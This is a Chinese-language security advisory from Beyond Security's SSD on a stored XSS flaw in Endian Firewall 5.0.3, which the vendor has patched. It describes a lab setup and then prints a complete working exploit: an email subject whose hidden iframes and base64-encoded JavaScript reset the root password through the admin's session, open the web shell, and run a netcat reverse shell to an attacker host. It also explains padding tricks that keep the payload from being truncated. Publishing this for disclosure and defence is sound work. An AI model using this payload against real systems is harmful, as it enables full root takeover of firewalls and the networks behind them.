SSD安全公告-Endian防火墙从存储型XSS到远程命令执行

漏洞概要
以下安全公告描述了在Endian防火墙5.0.3版本中存在的一个存储型XSS漏洞,成功利用该漏洞可造成远程代码执行。
Endian防火墙是一个“专注Linux安全的发行版本,,它是一个独立的,统一的安全管理操作系统。 Endian防火墙基于强化的Linux操作系统。”
漏洞提交者
一位独立的安全研究者向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
厂商已经发布针对该漏洞的补丁。获取更多信息: https://help.endian.com/hc/en-us/articles/115012996087

漏洞详细信息
Endian防火墙是基于Linux的防火墙/网关。
它使用不同的颜色来标记其trusted,untrusted 和DMZ网络:

  • 绿色 – trusted网络
  • 红色 – untrusted 网络
  • 橙色 – DMZ
  • 蓝色 – WiFi

用户可控的输入没有经过充分过滤,通过从untrusted 网络(红色)发送电子邮件到DMZ上的邮件服务器(橙色),Endian防火墙会把来自untrusted 网络的电子邮件隔离。
当来自trusted网络(绿色)的用户登录到Endian Firewall WebAdmin并检查隔离区中的电子邮件(Services > Mail Quarantine > quarantine)时,会执行存储型XSS脚本。
漏洞证明
配置环境

  • 安装Endian防火墙虚拟机并设置防火墙网络接口为以下IP:
  1. 绿色 – 192.168.0.190
  2. 红色 – 192.168.0.192
  • 设置以下密码:
  1. Web管理员(admin/Password1)
  2. SSH管理员(root/Password1)
  • 连接Webadmin接口,添加ORANGE网络并更改GREEN IP。最后的环境应该是这样的:
  1. 防火墙界面GREEN – 192.168.10.190
  2. 防火墙接口ORANGE – 192.168.20.190
  3. 防火墙接口RED – 192.168.0.192
  • 现在我们添加以下机器到新的接口:
  1. 部署VM并将其IP设置为192.168.10.191(GREEN) – 用于连接到Endian WebAdmin
  2. 部署VM并将其IP设置为192.168.20.191(ORANGE) – 用作邮件服务器
  3. 部署虚拟机并将其IP设置为192.168.0.12(RED) – 用于触发此漏洞(通过发送恶意邮件)并接受反连shell

接下来是按照Endian指令配置SMTP代理
http://help.endian.com/hc/it/articles/218144808-Mail-Proxy-Basic-Setup

  • “Incoming domain”==”test.it”
  • SMTP Proxy>Advanced,你必须取消选中”Recipient address verification”

演示
在红色PC(192.168.0.12)上监听25端口 (”netcat nc 192.168.0.12 25”)并发送以下电子邮件(使用telnet):

helo what-you-want <ENTER>
mail from:attacker@mydomain.it <ENTER>
rcpt to:victim@test.it <ENTER>
data <ENTER>
subject: test <h1>html</h1> injection <ENTER>
. <ENTER>

从绿色PC,连接到WebAdmin,并转到Services > Mail Quarantine > quarantine,会看到HTML代码被执行。
完整的漏洞证明
现在我们要想要获得root权限:

  1. 更改系统的root密码(System>Status> SSH Password)
  2. 通过Web Shell控制台(System> Web Consolle),使用root的新密码访问系统shell
  3. 通过在操作系统上执行一个root命令,获取远程Red PC的shell访问
  4. 我们也可以检查SSH是否被禁用,如果被禁用,可以启用它

所有内容都可以合并到一个subject中,但是我们必须考虑RFC 2822第2.1.1节中关于电子邮件”subject:”的规范:“每行不能超过998个字符”。
所以每998个字符后,Endian SMTP代理服务插入一个换行符。 这意味着我们的subject(AKA攻击脚本)可以超过998个字符,但是如果我们发送的JavaScript命令超过998个字符,那么脚本将被截断,导致攻击失败。
例1

......998..............     <---- BAD, in Endian WebAdmin this will be converted in
.......|...............           alert('d
alert('demo');                    emo'); ----> Script not working

例2

......998..............     <---- GOOD, in Endian WebAdmin this will be converted in
.......|...............           ;;;;;;;;
;;;;;;;;;alert('demo');           ;alert('demo'); ----> Script working

这就是为什么在攻击脚本中你会看到一组分号:它们是作为空操作(NOP)使用的。
注1:使用netcat或telnet发送的所有东西都必须在一行中(不管Endian如何对待它)
注2:我们使用两种基本的编码器来避免某些字符。
在第一部分,我们看到一个Base64编码,除非你想自定义密码,否则不需要修改它。
在最后一部分,我们看到使用URL编码名为”paystr”的JavaScript变量。
它的值 – %6E%63%20%31%30%2E%38%2E%30%2E%36%20%35%33%20%7C%20%2F%62%69%6E%2F%62 %61%73%68%20%7C%20%6E%63%20%31%30%2E%38%2E%30%2E%36%20%38%30’等于:

 'nc 192.168.0.12 53 | /bin/bash | nc 192.168.0.12 80'

如果你要执行不同的操作系统命令,则需要对其进行修改
注3:在攻击脚本尾部时,会看到一段很长的分号字符串,然后接着的是经编码后发送到系统的payload(var paystr)。 如果要发送的命令更长或者更短,那么以分号填充,但记得至少保留3个分号。

%00%00%00%00%00%00%00%00%00';;;;;;;;;;;;;;;;;;;;;;; 	< ---- Original
%00%00%00%00%00%00%00%00%00%00%00';;;;;;;;;;;;;;;;;  	<---- More Payload
%00%00%00%00%00%00%00';;;;;;;;;;;;;;;;;;;;;;;;;;;;;  	<---- Less Payload

下面的payload将root密码更改为”peruperu”,并向192.168.0.12上启动的两个监听器(netcat)发起连接请求。
我们使用TCP端口53和80,因为默认情况下,Endian通过这两个端口传递信息。
在Red PC上启动2个监听器(nc -lvp 80和nc -lvp 53),连接到邮件服务器(nc 192.168.0.12 25),按照PoC的步骤发送电子邮件:

subject:Pe<iframe id="peru" name="peru" style="width:0; height:0; border:0; border:none; visibility:0"></iframe><iframe id="xu" onload="res =
atob('PGlmcmFtZSBpZD0neHUxJyBvbmxvYWQ9InZhciB1cmwgPSB3aW5kb3cubG9jYXRpb24uaHJlZjt2YXIgYXJyID0gdXJsLnNwbGl0KCcvJy
k7dmFyIElQViA9IGFyclswXSArICcvLycgKyBhcnJbMl07ZnVuY3Rpb24gcG9zdHdpdGggKHRvLHApe3ZhciBteUZvcm0gPSBkb2N1bWVudC5jcm
VhdGVFbGVtZW50KCdmb3JtJyk7bXlGb3JtLm1ldGhvZD0ncG9zdCc7bXlGb3JtLmFjdGlvbiA9IHRvO2ZvciAodmFyIGsgaW4gcCl7dmFyIG15SW
5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpO215SW5wdXQuc2V0QXR0cmlidXRlKCduYW1lJywgayk7bXlJbnB1dC5zZXRBdH
RyaWJ1dGUoJ3ZhbHVlJywgcFtrXSk7bXlGb3JtLmFwcGVuZENoaWxkKG15SW5wdXQpO31kb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKG15Rm9ybS
k7bXlGb3JtLnN1Ym1pdCgpO2RvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQobXlGb3JtKTt9O3Bvc3R3aXRoKElQVisnL2NnaS1iaW4vY2hhbmdlcH
cuY2dpJyx7J0FDVElPTl9ST09UJzonc2F2ZScsJ1JPT1RfUEFTU1dPUkQxJzoncGVydXBlcnUnLCdST09UX1BBU1NXT1JEMic6J3BlcnVwZXJ1Jy
wnc3VibWknOidDaGFuZ2UrUGFzc3dvcmQnfSk7Ij48L2lmcmFtZT4=');;;;;;;;;;;;;;;;;;
document.getElementById('peru').contentWindow.document.write(res);
document.getElementById('peru').contentWindow.document.close();" style="width:0; height:0; border:0; border:none;
visibility:0"></iframe><iframe id="1" style="width:0; height:0; border:0; border:none; visibility:0"
onload="var url = window.location.href;var arr = url.split('/');var IPV = arr[0] + '//' + arr[2];var add =
'/manage/webshell/u?s=222&w=100&h=24&k=';var end = '%0D&l=2';function login() {var login =
document.createElement('iframe');login.setAttribute('src', IPV+add+'login'+end);
login.setAttribute('style', 'width:0; height:0; border:0; border:none;
visibility:0');document.body.appendChild(login);}setTimeout(login, 1000);"></iframe><iframe id="2"
style="width:0; height:0; border:0; border:none; visibility:0"
onload="var url = window.location.href;var arr = url.split('/');var IPV = arr[0] + '//' + arr[2];
var add = '/manage/webshell/u?s=222&w=100&h=24&k=';var end =
'%0D&l=2&_=1504015893518';;;;;;;;;;;;;;;;;;;;;;;function passwd22() {var t = 1;var passwd =
document.createElement('iframe');passwd.setAttribute('src',
IPV+add+'peruperu'+end);passwd.setAttribute('style', 'width:0; height:0; border:0; border:none; visibility:0');
document.body.appendChild(passwd);}setTimeout(passwd22, 3000);"></iframe><iframe id="3" style="
width:0; height:0; border:0; border:none; visibility:0" onload="var url = window.location.href;var arr = url.split('/');var
IPV = arr[0] + '//' + arr[2];var add = '/manage/webshell/u?s=222&w=100&h=24&k=';
var end = '%0D&l=2&_=1504014893519';var paystr= '%6E%63%20%31%39%32%2E%31%36%38%2E%30%2E%31%32%20%35%33%20%7C%20%2F%62%69%6E%2F%62%61%73%68%20%7C%20%6E%63%20%31
%39%32%2E%31%36%38%2E%30%2E%31%32%20%38%30';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
function payload() {var payload = document.createElement('iframe');payload.setAttribute('src', IPV+add+paystr+end);
payload.setAttribute('style', 'width:0; height:0; border:0; border:none; visibility:0');
document.body.appendChild(payload);}setTimeout(payload, 5000);"></iframe>rU 

Interested in Cross Site Scripting? You may be interested in these:

Looking to submit a Cross Site Scripting vulnerability?

Talk to us!